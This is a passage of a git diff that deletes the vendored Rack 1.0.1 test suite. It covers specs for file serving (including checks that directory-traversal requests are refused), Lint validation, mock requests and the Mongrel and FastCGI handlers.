response["HTTP_X_TEST_HEADER"].should.equal "42" - response["test.postdata"].should.equal "rack-form-data=23" - end - - specify "should support HTTP auth" do - GET("/test.fcgi", {:user => "ruth", :passwd => "secret"}) - response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ=" - end - - specify "should set status" do - GET("/test.fcgi?secret") - status.should.equal 403 - response["rack.url_scheme"].should.equal "http" - end - - # Keep this last. - specify "shutdown" do - Process.kill 15, $pid - Process.wait($pid).should.equal $pid - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_file.rb b/vendor/gems/rack-1.0.1/test/spec_rack_file.rb deleted file mode 100644 index 1e6771ab..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_file.rb +++ /dev/null @@ -1,75 +0,0 @@ -require 'test/spec' - -require 'rack/file' -require 'rack/lint' - -require 'rack/mock' - -context "Rack::File" do - DOCROOT = File.expand_path(File.dirname(__FILE__)) - - specify "serves files" do - res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). - get("/cgi/test") - - res.should.be.ok - res.should =~ /ruby/ - end - - specify "sets Last-Modified header" do - res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). - get("/cgi/test") - - path = File.join(DOCROOT, "/cgi/test") - - res.should.be.ok - res["Last-Modified"].should.equal File.mtime(path).httpdate - end - - specify "serves files with URL encoded filenames" do - res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). - get("/cgi/%74%65%73%74") # "/cgi/test" - - res.should.be.ok - res.should =~ /ruby/ - end - - specify "does not allow directory traversal" do - res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). - get("/cgi/../test") - - res.should.be.forbidden - end - - specify "does not allow directory traversal with encoded periods" do - res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). - get("/%2E%2E/README") - - res.should.be.forbidden - end - - specify "404s if it can't find the file" do - res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). - get("/cgi/blubb") - - res.should.be.not_found - end - - specify "detects SystemCallErrors" do - res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). - get("/cgi") - - res.should.be.not_found - end - - specify "returns bodies that respond to #to_path" do - env = Rack::MockRequest.env_for("/cgi/test") - status, headers, body = Rack::File.new(DOCROOT).call(env) - - path = File.join(DOCROOT, "/cgi/test") - - status.should.equal 200 - body.should.respond_to :to_path - body.to_path.should.equal path - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_handler.rb b/vendor/gems/rack-1.0.1/test/spec_rack_handler.rb deleted file mode 100644 index fcf19b78..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_handler.rb +++ /dev/null @@ -1,43 +0,0 @@ -require 'test/spec' - -require 'rack/handler' - -class Rack::Handler::Lobster; end -class RockLobster; end - -context "Rack::Handler" do - specify "has registered default handlers" do - Rack::Handler.get('cgi').should.equal Rack::Handler::CGI - Rack::Handler.get('fastcgi').should.equal Rack::Handler::FastCGI - Rack::Handler.get('mongrel').should.equal Rack::Handler::Mongrel - Rack::Handler.get('webrick').should.equal Rack::Handler::WEBrick - end - - specify "handler that doesn't exist should raise a NameError" do - lambda { - Rack::Handler.get('boom') - }.should.raise(NameError) - end - - specify "should get unregistered, but already required, handler by name" do - Rack::Handler.get('Lobster').should.equal Rack::Handler::Lobster - end - - specify "should register custom handler" do - Rack::Handler.register('rock_lobster', 'RockLobster') - Rack::Handler.get('rock_lobster').should.equal RockLobster - end - - specify "should not need registration for properly coded handlers even if not already required" do - begin - $:.push "test/unregistered_handler" - Rack::Handler.get('Unregistered').should.equal Rack::Handler::Unregistered - lambda { - Rack::Handler.get('UnRegistered') - }.should.raise(NameError) - Rack::Handler.get('UnregisteredLongOne').should.equal Rack::Handler::UnregisteredLongOne - ensure - $:.delete "test/unregistered_handler" - end - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_head.rb b/vendor/gems/rack-1.0.1/test/spec_rack_head.rb deleted file mode 100644 index 48d3f81f..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_head.rb +++ /dev/null @@ -1,30 +0,0 @@ -require 'rack/head' -require 'rack/mock' - -context "Rack::Head" do - def test_response(headers = {}) - app = lambda { |env| [200, {"Content-type" => "test/plain", "Content-length" => "3"}, ["foo"]] } - request = Rack::MockRequest.env_for("/", headers) - response = Rack::Head.new(app).call(request) - - return response - end - - specify "passes GET, POST, PUT, DELETE, OPTIONS, TRACE requests" do - %w[GET POST PUT DELETE OPTIONS TRACE].each do |type| - resp = test_response("REQUEST_METHOD" => type) - - resp[0].should.equal(200) - resp[1].should.equal({"Content-type" => "test/plain", "Content-length" => "3"}) - resp[2].should.equal(["foo"]) - end - end - - specify "removes body from HEAD requests" do - resp = test_response("REQUEST_METHOD" => "HEAD") - - resp[0].should.equal(200) - resp[1].should.equal({"Content-type" => "test/plain", "Content-length" => "3"}) - resp[2].should.equal([]) - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_lint.rb b/vendor/gems/rack-1.0.1/test/spec_rack_lint.rb deleted file mode 100644 index 880a07ee..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_lint.rb +++ /dev/null @@ -1,521 +0,0 @@ -require 'test/spec' -require 'stringio' - -require 'rack/lint' -require 'rack/mock' - -context "Rack::Lint" do - def env(*args) - Rack::MockRequest.env_for("/", *args) - end - - specify "passes valid request" do - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-type" => "test/plain", "Content-length" => "3"}, ["foo"]] - }).call(env({})) - }.should.not.raise - end - - specify "notices fatal errors" do - lambda { Rack::Lint.new(nil).call }.should.raise(Rack::Lint::LintError). - message.should.match(/No env given/) - end - - specify "notices environment errors" do - lambda { Rack::Lint.new(nil).call 5 }.should.raise(Rack::Lint::LintError). - message.should.match(/not a Hash/) - - lambda { - e = env - e.delete("REQUEST_METHOD") - Rack::Lint.new(nil).call(e) - }.should.raise(Rack::Lint::LintError). - message.should.match(/missing required key REQUEST_METHOD/) - - lambda { - e = env - e.delete("SERVER_NAME") - Rack::Lint.new(nil).call(e) - }.should.raise(Rack::Lint::LintError). - message.should.match(/missing required key SERVER_NAME/) - - - lambda { - Rack::Lint.new(nil).call(env("HTTP_CONTENT_TYPE" => "text/plain")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/contains HTTP_CONTENT_TYPE/) - - lambda { - Rack::Lint.new(nil).call(env("HTTP_CONTENT_LENGTH" => "42")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/contains HTTP_CONTENT_LENGTH/) - - lambda { - Rack::Lint.new(nil).call(env("FOO" => Object.new)) - }.should.raise(Rack::Lint::LintError). - message.should.match(/non-string value/) - - lambda { - Rack::Lint.new(nil).call(env("rack.version" => "0.2")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must be an Array/) - - lambda { - Rack::Lint.new(nil).call(env("rack.url_scheme" => "gopher")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/url_scheme unknown/) - - lambda { - Rack::Lint.new(nil).call(env("rack.session" => [])) - }.should.raise(Rack::Lint::LintError). - message.should.equal("session [] must respond to store and []=") - - lambda { - Rack::Lint.new(nil).call(env("REQUEST_METHOD" => "FUCKUP?")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/REQUEST_METHOD/) - - lambda { - Rack::Lint.new(nil).call(env("SCRIPT_NAME" => "howdy")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must start with/) - - lambda { - Rack::Lint.new(nil).call(env("PATH_INFO" => "../foo")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must start with/) - - lambda { - Rack::Lint.new(nil).call(env("CONTENT_LENGTH" => "xcii")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/Invalid CONTENT_LENGTH/) - - lambda { - e = env - e.delete("PATH_INFO") - e.delete("SCRIPT_NAME") - Rack::Lint.new(nil).call(e) - }.should.raise(Rack::Lint::LintError). - message.should.match(/One of .* must be set/) - - lambda { - Rack::Lint.new(nil).call(env("SCRIPT_NAME" => "/")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/cannot be .* make it ''/) - end - - specify "notices input errors" do - lambda { - Rack::Lint.new(nil).call(env("rack.input" => "")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/does not respond to #gets/) - - lambda { - input = Object.new - def input.binmode? - false - end - Rack::Lint.new(nil).call(env("rack.input" => input)) - }.should.raise(Rack::Lint::LintError). - message.should.match(/is not opened in binary mode/) - - lambda { - input = Object.new - def input.external_encoding - result = Object.new - def result.name - "US-ASCII" - end - result - end - Rack::Lint.new(nil).call(env("rack.input" => input)) - }.should.raise(Rack::Lint::LintError). - message.should.match(/does not have ASCII-8BIT as its external encoding/) - end - - specify "notices error errors" do - lambda { - Rack::Lint.new(nil).call(env("rack.errors" => "")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/does not respond to #puts/) - end - - specify "notices status errors" do - lambda { - Rack::Lint.new(lambda { |env| - ["cc", {}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must be >=100 seen as integer/) - - lambda { - Rack::Lint.new(lambda { |env| - [42, {}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must be >=100 seen as integer/) - end - - specify "notices header errors" do - lambda { - Rack::Lint.new(lambda { |env| - [200, Object.new, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.equal("headers object should respond to #each, but doesn't (got Object as headers)") - - lambda { - Rack::Lint.new(lambda { |env| - [200, {true=>false}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.equal("header key must be a string, was TrueClass") - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Status" => "404"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must not contain Status/) - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-Type:" => "text/plain"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must not contain :/) - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-" => "text/plain"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must not end/) - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"..%%quark%%.." => "text/plain"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.equal("invalid header name: ..%%quark%%..") - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Foo" => Object.new}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.equal("a header value must be a String, but the value of 'Foo' is a Object") - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Foo" => [1, 2, 3]}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.equal("a header value must be a String, but the value of 'Foo' is a Array") - - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Foo-Bar" => "text\000plain"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/invalid header/) - - # line ends (010) should be allowed in header values. - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Foo-Bar" => "one\ntwo\nthree", "Content-Length" => "0", "Content-Type" => "text/plain" }, []] - }).call(env({})) - }.should.not.raise(Rack::Lint::LintError) - end - - specify "notices content-type errors" do - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-length" => "0"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/No Content-Type/) - - [100, 101, 204, 304].each do |status| - lambda { - Rack::Lint.new(lambda { |env| - [status, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/Content-Type header found/) - end - end - - specify "notices content-length errors" do - [100, 101, 204, 304].each do |status| - lambda { - Rack::Lint.new(lambda { |env| - [status, {"Content-length" => "0"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/Content-Length header found/) - end - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-type" => "text/plain", "Content-Length" => "1"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/Content-Length header was 1, but should be 0/) - end - - specify "notices body errors" do - lambda { - status, header, body = Rack::Lint.new(lambda { |env| - [200, {"Content-type" => "text/plain","Content-length" => "3"}, [1,2,3]] - }).call(env({})) - body.each { |part| } - }.should.raise(Rack::Lint::LintError). - message.should.match(/yielded non-string/) - end - - specify "notices input handling errors" do - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].gets("\r\n") - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/gets called with arguments/) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].read(1, 2, 3) - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/read called with too many arguments/) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].read("foo") - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/read called with non-integer and non-nil length/) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].read(-1) - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/read called with a negative length/) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].read(nil, nil) - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/read called with non-String buffer/) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].read(nil, 1) - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/read called with non-String buffer/) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].rewind(0) - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/rewind called with arguments/) - - weirdio = Object.new - class << weirdio - def gets - 42 - end - - def read - 23 - end - - def each - yield 23 - yield 42 - end - - def rewind - raise Errno::ESPIPE, "Errno::ESPIPE" - end - end - - eof_weirdio = Object.new - class << eof_weirdio - def gets - nil - end - - def read(*args) - nil - end - - def each - end - - def rewind - end - end - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].gets - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env("rack.input" => weirdio)) - }.should.raise(Rack::Lint::LintError). - message.should.match(/gets didn't return a String/) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].each { |x| } - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env("rack.input" => weirdio)) - }.should.raise(Rack::Lint::LintError). - message.should.match(/each didn't yield a String/) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].read - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env("rack.input" => weirdio)) - }.should.raise(Rack::Lint::LintError). - message.should.match(/read didn't return nil or a String/) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].read - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env("rack.input" => eof_weirdio)) - }.should.raise(Rack::Lint::LintError). - message.should.match(/read\(nil\) returned nil on EOF/) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].rewind - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env("rack.input" => weirdio)) - }.should.raise(Rack::Lint::LintError). - message.should.match(/rewind raised Errno::ESPIPE/) - - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].close - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/close must not be called/) - end - - specify "notices error handling errors" do - lambda { - Rack::Lint.new(lambda { |env| - env["rack.errors"].write(42) - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/write not called with a String/) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.errors"].close - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/close must not be called/) - end - - specify "notices HEAD errors" do - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-type" => "test/plain", "Content-length" => "3"}, []] - }).call(env({"REQUEST_METHOD" => "HEAD"})) - }.should.not.raise - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-type" => "test/plain", "Content-length" => "3"}, ["foo"]] - }).call(env({"REQUEST_METHOD" => "HEAD"})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/body was given for HEAD/) - end - - specify "passes valid read calls" do - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].read - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({"rack.input" => StringIO.new("hello world")})) - }.should.not.raise(Rack::Lint::LintError) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].read(0) - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({"rack.input" => StringIO.new("hello world")})) - }.should.not.raise(Rack::Lint::LintError) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].read(1) - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({"rack.input" => StringIO.new("hello world")})) - }.should.not.raise(Rack::Lint::LintError) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].read(nil) - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({"rack.input" => StringIO.new("hello world")})) - }.should.not.raise(Rack::Lint::LintError) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].read(nil, '') - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({"rack.input" => StringIO.new("hello world")})) - }.should.not.raise(Rack::Lint::LintError) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].read(1, '') - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []] - }).call(env({"rack.input" => StringIO.new("hello world")})) - }.should.not.raise(Rack::Lint::LintError) - end -end - -context "Rack::Lint::InputWrapper" do - specify "delegates :size to underlying IO object" do - class IOMock - def size - 101 - end - end - - wrapper = Rack::Lint::InputWrapper.new(IOMock.new) - wrapper.size.should == 101 - end - - specify "delegates :rewind to underlying IO object" do - io = StringIO.new("123") - wrapper = Rack::Lint::InputWrapper.new(io) - wrapper.read.should.equal "123" - wrapper.read.should.equal "" - wrapper.rewind - wrapper.read.should.equal "123" - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_lobster.rb b/vendor/gems/rack-1.0.1/test/spec_rack_lobster.rb deleted file mode 100644 index 7be267a2..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_lobster.rb +++ /dev/null @@ -1,45 +0,0 @@ -require 'test/spec' - -require 'rack/lobster' -require 'rack/mock' - -context "Rack::Lobster::LambdaLobster" do - specify "should be a single lambda" do - Rack::Lobster::LambdaLobster.should.be.kind_of Proc - end - - specify "should look like a lobster" do - res = Rack::MockRequest.new(Rack::Lobster::LambdaLobster).get("/") - res.should.be.ok - res.body.should.include "(,(,,(,,,(" - res.body.should.include "?flip" - end - - specify "should be flippable" do - res = Rack::MockRequest.new(Rack::Lobster::LambdaLobster).get("/?flip") - res.should.be.ok - res.body.should.include "(,,,(,,(,(" - end -end - -context "Rack::Lobster" do - specify "should look like a lobster" do - res = Rack::MockRequest.new(Rack::Lobster.new).get("/") - res.should.be.ok - res.body.should.include "(,(,,(,,,(" - res.body.should.include "?flip" - res.body.should.include "crash" - end - - specify "should be flippable" do - res = Rack::MockRequest.new(Rack::Lobster.new).get("/?flip=left") - res.should.be.ok - res.body.should.include "(,,,(,,(,(" - end - - specify "should provide crashing for testing purposes" do - lambda { - Rack::MockRequest.new(Rack::Lobster.new).get("/?flip=crash") - }.should.raise - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_lock.rb b/vendor/gems/rack-1.0.1/test/spec_rack_lock.rb deleted file mode 100644 index 18af2b23..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_lock.rb +++ /dev/null @@ -1,38 +0,0 @@ -require 'test/spec' - -require 'rack/mock' -require 'rack/lock' - -context "Rack::Lock" do - class Lock - attr_reader :synchronized - - def initialize - @synchronized = false - end - - def synchronize - @synchronized = true - yield - end - end - - specify "should call synchronize on lock" do - lock = Lock.new - env = Rack::MockRequest.env_for("/") - app = Rack::Lock.new(lambda { |env| }, lock) - lock.synchronized.should.equal false - app.call(env) - lock.synchronized.should.equal true - end - - specify "should set multithread flag to false" do - app = Rack::Lock.new(lambda { |env| env['rack.multithread'] }) - app.call(Rack::MockRequest.env_for("/")).should.equal false - end - - specify "should reset original multithread flag when exiting lock" do - app = Rack::Lock.new(lambda { |env| env }) - app.call(Rack::MockRequest.env_for("/"))['rack.multithread'].should.equal true - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_methodoverride.rb b/vendor/gems/rack-1.0.1/test/spec_rack_methodoverride.rb deleted file mode 100644 index 57452394..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_methodoverride.rb +++ /dev/null @@ -1,60 +0,0 @@ -require 'test/spec' - -require 'rack/mock' -require 'rack/methodoverride' -require 'stringio' - -context "Rack::MethodOverride" do - specify "should not affect GET requests" do - env = Rack::MockRequest.env_for("/?_method=delete", :method => "GET") - app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) - req = app.call(env) - - req.env["REQUEST_METHOD"].should.equal "GET" - end - - specify "_method parameter should modify REQUEST_METHOD for POST requests" do - env = Rack::MockRequest.env_for("/", :method => "POST", :input => "_method=put") - app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) - req = app.call(env) - - req.env["REQUEST_METHOD"].should.equal "PUT" - end - - specify "X-HTTP-Method-Override header should modify REQUEST_METHOD for POST requests" do - env = Rack::MockRequest.env_for("/", - :method => "POST", - "HTTP_X_HTTP_METHOD_OVERRIDE" => "PUT" - ) - app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) - req = app.call(env) - - req.env["REQUEST_METHOD"].should.equal "PUT" - end - - specify "should not modify REQUEST_METHOD if the method is unknown" do - env = Rack::MockRequest.env_for("/", :method => "POST", :input => "_method=foo") - app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) - req = app.call(env) - - req.env["REQUEST_METHOD"].should.equal "POST" - end - - specify "should not modify REQUEST_METHOD when _method is nil" do - env = Rack::MockRequest.env_for("/", :method => "POST", :input => "foo=bar") - app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) - req = app.call(env) - - req.env["REQUEST_METHOD"].should.equal "POST" - end - - specify "should store the original REQUEST_METHOD prior to overriding" do - env = Rack::MockRequest.env_for("/", - :method => "POST", - :input => "_method=options") - app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) - req = app.call(env) - - req.env["rack.methodoverride.original_method"].should.equal "POST" - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_mock.rb b/vendor/gems/rack-1.0.1/test/spec_rack_mock.rb deleted file mode 100644 index 9c392a28..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_mock.rb +++ /dev/null @@ -1,157 +0,0 @@ -require 'yaml' -require 'rack/mock' -require 'rack/request' -require 'rack/response' - -app = lambda { |env| - req = Rack::Request.new(env) - - env["mock.postdata"] = env["rack.input"].read - if req.GET["error"] - env["rack.errors"].puts req.GET["error"] - env["rack.errors"].flush - end - - Rack::Response.new(env.to_yaml, - req.GET["status"] || 200, - "Content-Type" => "text/yaml").finish -} - -context "Rack::MockRequest" do - specify "should return a MockResponse" do - res = Rack::MockRequest.new(app).get("") - res.should.be.kind_of Rack::MockResponse - end - - specify "should be able to only return the environment" do - env = Rack::MockRequest.env_for("") - env.should.be.kind_of Hash - env.should.include "rack.version" - end - - specify "should provide sensible defaults" do - res = Rack::MockRequest.new(app).request - - env = YAML.load(res.body) - env["REQUEST_METHOD"].should.equal "GET" - env["SERVER_NAME"].should.equal "example.org" - env["SERVER_PORT"].should.equal "80" - env["QUERY_STRING"].should.equal "" - env["PATH_INFO"].should.equal "/" - env["SCRIPT_NAME"].should.equal "" - env["rack.url_scheme"].should.equal "http" - env["mock.postdata"].should.be.empty - end - - specify "should allow GET/POST/PUT/DELETE" do - res = Rack::MockRequest.new(app).get("", :input => "foo") - env = YAML.load(res.body) - env["REQUEST_METHOD"].should.equal "GET" - - res = Rack::MockRequest.new(app).post("", :input => "foo") - env = YAML.load(res.body) - env["REQUEST_METHOD"].should.equal "POST" - - res = Rack::MockRequest.new(app).put("", :input => "foo") - env = YAML.load(res.body) - env["REQUEST_METHOD"].should.equal "PUT" - - res = Rack::MockRequest.new(app).delete("", :input => "foo") - env = YAML.load(res.body) - env["REQUEST_METHOD"].should.equal "DELETE" - - Rack::MockRequest.env_for("/", :method => "OPTIONS")["REQUEST_METHOD"]. - should.equal "OPTIONS" - end - - specify "should set content length" do - env = Rack::MockRequest.env_for("/", :input => "foo") - env["CONTENT_LENGTH"].should.equal "3" - end - - specify "should allow posting" do - res = Rack::MockRequest.new(app).get("", :input => "foo") - env = YAML.load(res.body) - env["mock.postdata"].should.equal "foo" - - res = Rack::MockRequest.new(app).post("", :input => StringIO.new("foo")) - env = YAML.load(res.body) - env["mock.postdata"].should.equal "foo" - end - - specify "should use all parts of an URL" do - res = Rack::MockRequest.new(app). - get("https://bla.example.org:9292/meh/foo?bar") - res.should.be.kind_of Rack::MockResponse - - env = YAML.load(res.body) - env["REQUEST_METHOD"].should.equal "GET" - env["SERVER_NAME"].should.equal "bla.example.org" - env["SERVER_PORT"].should.equal "9292" - env["QUERY_STRING"].should.equal "bar" - env["PATH_INFO"].should.equal "/meh/foo" - env["rack.url_scheme"].should.equal "https" - end - - specify "should behave valid according to the Rack spec" do - lambda { - res = Rack::MockRequest.new(app). - get("https://bla.example.org:9292/meh/foo?bar", :lint => true) - }.should.not.raise(Rack::Lint::LintError) - end -end - -context "Rack::MockResponse" do - specify "should provide access to the HTTP status" do - res = Rack::MockRequest.new(app).get("") - res.should.be.successful - res.should.be.ok - - res = Rack::MockRequest.new(app).get("/?status=404") - res.should.not.be.successful - res.should.be.client_error - res.should.be.not_found - - res = Rack::MockRequest.new(app).get("/?status=501") - res.should.not.be.successful - res.should.be.server_error - - res = Rack::MockRequest.new(app).get("/?status=307") - res.should.be.redirect - - res = Rack::MockRequest.new(app).get("/?status=201", :lint => true) - res.should.be.empty - end - - specify "should provide access to the HTTP headers" do - res = Rack::MockRequest.new(app).get("") - res.should.include "Content-Type" - res.headers["Content-Type"].should.equal "text/yaml" - res.original_headers["Content-Type"].should.equal "text/yaml" - res["Content-Type"].should.equal "text/yaml" - res.content_type.should.equal "text/yaml" - res.content_length.should.be 401 # needs change often. - res.location.should.be.nil - end - - specify "should provide access to the HTTP body" do - res = Rack::MockRequest.new(app).get("") - res.body.should =~ /rack/ - res.should =~ /rack/ - res.should.match(/rack/) - res.should.satisfy { |r| r.match(/rack/) } - end - - specify "should provide access to the Rack errors" do - res = Rack::MockRequest.new(app).get("/?error=foo", :lint => true) - res.should.be.ok - res.errors.should.not.be.empty - res.errors.should.include "foo" - end - - specify "should optionally make Rack errors fatal" do - lambda { - Rack::MockRequest.new(app).get("/?error=foo", :fatal => true) - }.should.raise(Rack::MockRequest::FatalWarning) - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_mongrel.rb b/vendor/gems/rack-1.0.1/test/spec_rack_mongrel.rb deleted file mode 100644 index d73e884c..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_mongrel.rb +++ /dev/null @@ -1,189 +0,0 @@ -require 'test/spec' - -begin -require 'rack/handler/mongrel' -require 'rack/urlmap' -require 'rack/lint' -require 'testrequest' -require 'timeout' - -Thread.abort_on_exception = true -$tcp_defer_accept_opts = nil -$tcp_cork_opts = nil - -context "Rack::Handler::Mongrel" do - include TestRequest::Helpers - - setup do - server = Mongrel::HttpServer.new(@host='0.0.0.0', @port=9201) - server.register('/test', - Rack::Handler::Mongrel.new(Rack::Lint.new(TestRequest.new))) - server.register('/stream', - Rack::Handler::Mongrel.new(Rack::Lint.new(StreamingRequest))) - @acc = server.run - end - - specify "should respond" do - lambda { - GET("/test") - }.should.not.raise - end - - specify "should be a Mongrel" do - GET("/test") - status.should.be 200 - response["SERVER_SOFTWARE"].should =~ /Mongrel/ - response["HTTP_VERSION"].should.equal "HTTP/1.1" - response["SERVER_PROTOCOL"].should.equal "HTTP/1.1" - response["SERVER_PORT"].should.equal "9201" - response["SERVER_NAME"].should.equal "0.0.0.0" - end - - specify "should have rack headers" do - GET("/test") - response["rack.version"].should.equal [1,0] - response["rack.multithread"].should.be true - response["rack.multiprocess"].should.be false - response["rack.run_once"].should.be false - end - - specify "should have CGI headers on GET" do - GET("/test") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/test" - response["PATH_INFO"].should.be.nil - response["QUERY_STRING"].should.equal "" - response["test.postdata"].should.equal "" - - GET("/test/foo?quux=1") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/test/foo" - response["PATH_INFO"].should.equal "/foo" - response["QUERY_STRING"].should.equal "quux=1" - end - - specify "should have CGI headers on POST" do - POST("/test", {"rack-form-data" => 